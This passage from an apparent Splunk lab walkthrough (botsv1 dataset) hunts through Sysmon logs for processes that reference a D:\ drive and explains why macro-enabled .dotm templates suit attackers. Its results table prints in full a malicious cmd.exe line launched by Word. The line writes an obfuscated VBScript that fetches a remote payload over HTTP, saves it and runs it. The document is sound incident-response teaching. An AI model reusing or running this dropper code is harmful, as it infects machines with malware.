Name='CommandLine'>"C:\Program Files (x86)\Internet Explorer\iexplore.exe" -nohome</Data><Data Name='CurrentDirectory'>D:\Work Stuff\013\</Data><Data Name='User'>WAYNECORPINC\bob.smith</Data><Data Name='LogonGuid'>{0F2D76F0-C612-57BD-0000-002015F80600}</Data><Data Name='LogonId'>0x6f815</Data><Data Name='TerminalSessionId'>1</Data><Data Name='IntegrityLevel'>Medium</Data><Data Name='Hashes'>SHA1=1962888198AE972CBB999D0DC9C9EE5CBABF5E0D,MD5=C613E69C3B191BB02C7A191741A1D024,SHA256=E285FEECA968B3CA22017A64363EEA5E69CCD519696671DF523291B089597875,IMPHASH=21CE449BAC952D12788282110FBDE738</Data><Data Name='ParentProcessGuid'>{0F2D76F0-D1CF-57BD-0000-001034E24900}</Data><Data Name='ParentProcessId'>4928</Data><Data Name='ParentImage'>C:\Windows\System32\rundll32.exe</Data><Data Name='ParentCommandLine'>"C:\Windows\system32\rundll32.exe" C:\Windows\system32\shell32.dll,OpenAs_RunDLL D:\Work Stuff\013\013366.pdf</Data></EventData></Event> |

# Refining Our Search To Find D:\ ONLY in Command and Parent Command Line

index=botsv1 sourcetype=XmlWinEventLog:Microsoft-Windows-Sysmon/Operational host=we8105desk (CommandLine="*d:\\*" OR ParentCommandLine="*d:\\*") | table _time CommandLine ParentCommandLine | sort _time Run Search in New Tab

To refine our search, we use the parenthesis with OR so that we can look for a reference to D:\ in either the CommandLine field or the ParentCommandLine field. We then can take our results and table both fields along with _time and then sort oldest to newest.

Based on our results, we have five refences in these two fields to D:\. We can see that the file Miranda_Tate_unveiled.dotm was triggered by Microsoft Word and that Miranda_Tate_unveiled.dotm was located on the D:\ drive and had two child processes associated with it. A dotm is a Microsoft Word 2007 Template File. Malware authors will use this file format because of the ability to embed macros and other scripts within it and unlike the dotx file format, a warning does not pop up for dotm like it does for dotx.

# Identify CommandLine and ParentCommandLine that contain D:\

Identify CommandLine and ParentCommandLine that contain D:\ (Column 1 of 3)

| # | _time |
|---|---|
| 1 | 2016-08-24 16:43:12 |
| 2 | 2016-08-24 16:43:21 |
| 3 | 2016-08-24 16:43:27 |
| 4 | 2016-08-24 16:56:47 |
| 5 | 2016-08-24 16:56:51 |

## Identify CommandLine and ParentCommandLine that contain D:\ (Column 2 of 3)

| # | CommandLine |
|---|---|
| 1 | "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n /f "D:\Miranda_Tate_unveiled.dotm" |
| 2 | cmd.exe /V /C set "GSI=%APPDATA%\%RANDOM%.vbs" &amp;&amp; (for %i in ("DIm RWRL" "FuNCtioN GNbiPp(Pt5SZ1)" "EYnt=45" "GNbiPp=AsC(Pt5SZ1)" "Xn1=52" "eNd fuNCtiON" "SUb OjrYyD9()" "J0Nepq=56" "Dim UJv,G4coQ" "LT=23" "dO WHiLE UJv&lt;&gt;3016-3015" "G4coQ=G4coQ+1" "WSCRiPt.sLEeP(11)" "LoOP" "UsZK0=85" "ENd suB" "fuNctIon J7(BLI4A3)" "K5AU=29" "J7=cHR(BLI4A3)" "XBNutM9=36" "eNd fuNCtiON" "SUb MA(QrG)" "WXCzRz=9" "Dim Jw" "Qt7=34" "Jw=TIMeR+QrG" "Do WhiLE tIMEr&lt;Jw" "WSCRipT.sleEP(6)" "LOOp" "EXdkRkH=78" "enD sUB" "fUnCTion M1p67jL(BwqIM7,Qa)" "Yi=80" "dIM KH,ChnFY,RX,Pg,C6YT(8)" "Cm=7" "C6YT(1)=107" "Rzf=58" "C6YT(5)=115" "BSKoW=10" "C6YT(4)=56" "Cwd6=35" "C6YT(7)=110" "AQ=98" "C6YT(6)=100" "Y6Cm1I=82" "C6YT(2)=103" "JH3F2i=74" "C6YT(8)=119" "JRvsG2s=76" "C6YT(3)=53" "Yh=31" "C6YT(0)=115" "GuvD=47" "Tbvf1=67" "SeT KH=cReATeObject(A9y("3C3A1D301F2D063708772930033C3C201C2D0A34203B053C0C2D", "Yo"))" "V2JR=73" "Set ChnFY=KH.GETfilE(BwqIM7)" "RGeJ=68" "SeT Pg=ChnFY.opEnASTExTstReAM(6806-6805,7273-7273)" "CtxOk=82" "seT RX=KH.cREateteXtFiLe(Qa,6566-6565,2508-2508)" "XPL9af=76" "Do uNtil Pg.aTEnDOfStReam" "RX.wRitE J7(OyVNo(GNbiPp(Pg.rEAD(6633-6632)),C6YT(0)))" "LooP" "IQz=49" "RX.cloSe" "CBR1gC7=51" "Pg.cLOSE" "PmG=64" "eNd funCTIOn" "FUNcTION Ql9zEF()" "IBL2=16" "Ql9zEF=secoND(Time)" "MUTkPNJ=41" "End FUNcTiOn" "FUnCtion A9y(Am,T1GCbB)" "CWCH9r=82" "Dim V3sl0m,F4ra,AxFE" "RLLp8R=89" "For V3sl0m=1 To (lEn(Am)/2)" "F4ra=(J7((8270-8232)) &amp; J7((5328/74))&amp;(miD(Am,(V3sl0m+V3sl0m)-1,2)))" "AxFE=(GNbiPp(mID(T1GCbB,((V3sl0m MOd Len(T1GCbB))+1),1)))" "A9y=A9y+J7(OyVNo(F4ra,AxFE))" "NeXT" "DxZ40=89" "enD fUNction" "Sub AylniN()" "N6nzb=92" "DIm GWJCk,Q3y,GKasG0" "FDu=47" "GWJCk=93961822" "UZ=32" "FoR Q3y=1 To GWJCk" "GKasG0=GKasG0+1" "neXt" "B1jq2Hk=63" "If GKasG0=GWJCk tHen" "KXso=18" "MA((-176+446))" "IP4=48" "Yq(A9y("0B3B1D44626E7E1020055D3C20230A3B0C503D31230C3700593135344D201B53772C39173D475E2826","QcOi4XA"))" "YTsWy=31" "elSe" "DO5gpmA=84" "A8=86" "EnD iF" "XyUP=64" "eND SuB" "sUB GKfD3aY(FaddNPJ)" "SDU0BLq=57" "DiM UPhqZ,KbcT" "DxejPK=88" "KbcT="Drn4AW"" "GROlc7=82" "sET UPhqZ=CREAteOBJecT(A9y("332A7B05156A211A46243629",KbcT))" "Gs0g=3" "UPhqZ.OpEn" "TF1=68" "UPhqZ.tyPE=6867-6866" "RDjmY=24" "UPhqZ.wrITe FaddNPJ" "WiFgvS=78" "UPhqZ.SaVeTOfIle RWRL,8725-8723" "AF=4" "UPhqZ.closE" "JC7sf2=1" "Cke4e" "JM=88" "EnD suB" "fuNCtIoN Yq(PDqi1)" "I0=22" "DiM YTwwO,BAU7Cz,Uv,JiYwVG,IK" "GJDnbE=32" "On ErrOR reSume NeXT" "B7bT=1" "Uv="Tk"" "ELw=73" "sEt YTwwO=CREaTeObjeCT(A9y("3C07082602241F7A383C0E3807",Uv))" "K4=62" "GAiF" "IS1cj=19" "Set Dzc0=YTwwO.eNVIrONMEnt(A9y("013B183400023A","EQiWw"))" "D9S=38" "RWRL=Dzc0(A9y("14630811720C14","XU3"))&amp;J7((8002-7910))&amp; Ql9zEF &amp; Ql9zEF" "AtCQ=95" "JiYwVG="FcQqQ"" "Tf=79" "sEt BAU7Cz=CrEATEoBjECT(A9y("2E38122329103E1725683B1C3D19123701",JiYwVG))" "QUY=56" "BAU7Cz.OpeN A9y("0D0E1E","KJ"),PDqi1,7387-7387" "JX2=58" "BAU7Cz.SeTReQuEstHeAdeR A9y("1F59242828","OM8J"),A9y("0D354C3D356B567A0F6B6B","VoL8XF")" "URkT=71" "BAU7Cz.SEnD()" "QdFeA6=65" "if BAU7Cz.StaTUstExt=A9y("652840353A542512023C5B3D572F27","S5I2A") then" "PwTLW23=36" "GAiF" "R4xYBS=63" "MA(4)" "PjL6m=46" "GKfD3aY BAU7Cz.ReSpONSEbody" "Fj98=72" "Else" "D7T=91" "IK="NNXFD0"" "NK=74" "SeT BAU7Cz= CreATeobJECT(A9y("033125365F3D213E326A68030210121060",IK))" "QJ=35" "BAU7Cz.oPeN A9y("2A2F0E","TmjZ8d"),A9y("07351B31556E40785D6F5D735D6F5E715B6F5E795D6E02291B33412B1F26","Ao" ),5022-5022" "UMp8=85" "BAU7Cz.SeTReqUesTheadER A9y("1439190A24","AFXwm"),A9y("371038301A716C5F7B6644","LUi")" "NluUc=93" "BAU7Cz.SENd()" "EOtR=44" "If BAU7Cz.STaTUSTexT=A9y("03510A3B3A51146F105F163B365E0C","OS0x") THen GKfD3aY BAU7Cz.REsPOnSeBODY" "Q6sMEZ=54" "I9Nl7=56" "end if" "Dq=54" "eND FuNCTioN" "fUNctIon OyVNo(U1,Brt0d)" "SNOW=59" "OyVNo=(U1 ANd noT Brt0d) oR(NOt U1 And Brt0d)" "QTi5K=54" "enD funcTION" "Sub Cke4e()" "WTOyAw=62" "dIM EuM,WIbud,NCiN,Fs8HJ" "A5AT=92" "NCiN="""""" "SX6=93" "WIbud=RWRL &amp; Ql9zEF &amp; A9y("4A330F3F","WdGbOGp")" "V5B7Zh=92" "M1p67jL RWRL,WIbud" "L13=45" "iF Fs8HJ="" tHen MA(4)" "CHaK=38" "EuM="Iqxkf"" "U56m=67" "SEt VP=creATeoBJEcT(A9y("262B081420010C453521141407",EuM))" "U5Quw=85" "VP.Run A9y("1023287B163629755C0D6C06270F1E01536C6E7551","UsNL") &amp; WIbud &amp; NCiN,2912-2912,5755-5755" "A6mfcYL=76" "End sUB" "JoxZ3=43" "AylniN" "suB GAiF()" "G4vzM=95" "Dim DCRml9g,CjoNOY9" "For DCRml9g = 68 To 6000327" "CjoNOY9 = Rvwr + 23 + 35 + 27" "Next" "KK0H=46" "enD sUb") do @echo %~i)&gt;"!GSI!" &amp;&amp; start "" "!GSI!" |
| 3 | C:\Windows\splwow64.exe 8192 |
| 4 | "C:\Windows\system32\rundll32.exe" C:\Windows\system32\shell32.dll,OpenAs_RunDLL D:\Work Stuff\013\013366.pdf |
| 5 | "C:\Program Files (x86)\Internet Explorer\iexplore.exe" -nohome |

Identify CommandLine and ParentCommandLine that contain D:\ (Column 3 of 3)

| # | ParentCommandLine |
|---|---|
| 1 | C:\Windows\Explorer.EXE |
| 2 | "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n /f "D:\Miranda_Tate_unveiled.dotm" |
| 3 | "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n /f "D:\Miranda_Tate_unveiled.dotm" |
| 4 | C:\Windows\Explorer.EXE |
| 5 | "C:\Windows\system32\rundll32.exe" C:\Windows\system32\shell32.dll,OpenAs_RunDLL D:\Work Stuff\013\013366.pdf |

# Navigation

Previous: Identifying Removable Media
Next: Identifying Suspicious Processes Executing